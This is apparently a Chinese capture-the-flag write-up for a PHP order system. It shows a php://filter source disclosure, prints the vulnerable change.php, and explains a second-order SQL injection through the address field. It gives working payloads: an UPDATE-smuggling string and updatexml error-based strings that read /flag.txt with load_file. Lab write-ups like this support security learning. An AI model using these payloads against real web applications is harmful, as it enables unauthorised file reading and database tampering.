题目

打开是

image-20230217181254447

有提交订单,查询,还有修改,还有删除功能。

查看源代码发现提示<!--?file=?-->

那么尝试读取源码php://filter/read=convert.base64-encode/resource=index.php

读取源码

change.php

<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = addslashes($_POST["address"]);
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}

if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单修改成功";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>

其他源码同理。经审计发现,user_name和phone都做了严格的正则过滤,但对address只是很简单的转义,所以重点应该是在address这里。而且在change.php里面,还将输入的address和insert语句拼接起来。所以这里存在二次注入

二次注入

大概就是插入数据库的数据被转义,进入数据库却不会写入转义符号,就被还原成原来未转义的样子。然后再找到一处引用我们插入的危险数据的地方,同时引用没有对数据进行转义,则可以进行注入了。

研究语句

$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];

而数据库 update `user` set `address`="aaa", `address`="bbb" where `user_id`=1;
则user_id=1的address会被设置成bbb
所以可以构造payload: address=’,`address`=(sql语句);#
引号闭合原有语句的单引号,#号来闭合最后的单引号
注意不是中文的符号

SQL语句随便写了,没有限制。查取数据找不到flag。

结果是读取文件,最终:’,address=(select load_file(‘/flag.txt’));#

1:先提交订单(地址是payload)然后再修改订单,地址仍然是payload,再查询订单

2:先提交订单(地址不是payload),后修改订单地址为payload两次,再查询订单

对第二种情况,然后修改订单地址为payload,此时,payload经过转义后认为安全,再被数据库去除转义符插入数据库。(此时查看菜单可以发现我们的地址已经是payload了),然后再改一下,则会触发update语句即拼接完后

$sql = update `user` set `address`='

',`address`=(select load_file('/flag.txt'));#

', `old_address`='$row['address']' where `user_id`=$row['user_id'];
化简:
update `user` set `address`='',`address`=(select load_file('/flag.txt'));#

所以地址就直接变成flag了。

或者报错注入

payload

payload
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1)#
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),20,50)),0x7e),1)#
updataxml函数对字符串长度有限制,所以分段进行读取

思考

常用的flag其实也就猜一猜txt,php,/flag /readflag

参考

https://lonmar.cn/2021/02/02/%5B%E7%BD%91%E9%BC%8E%E6%9D%AF%202018%5DComment/#0x03-addslashes

https://blog.csdn.net/weixin_45551083/article/details/113576689

https://blog.csdn.net/fmyyy1/article/details/115365517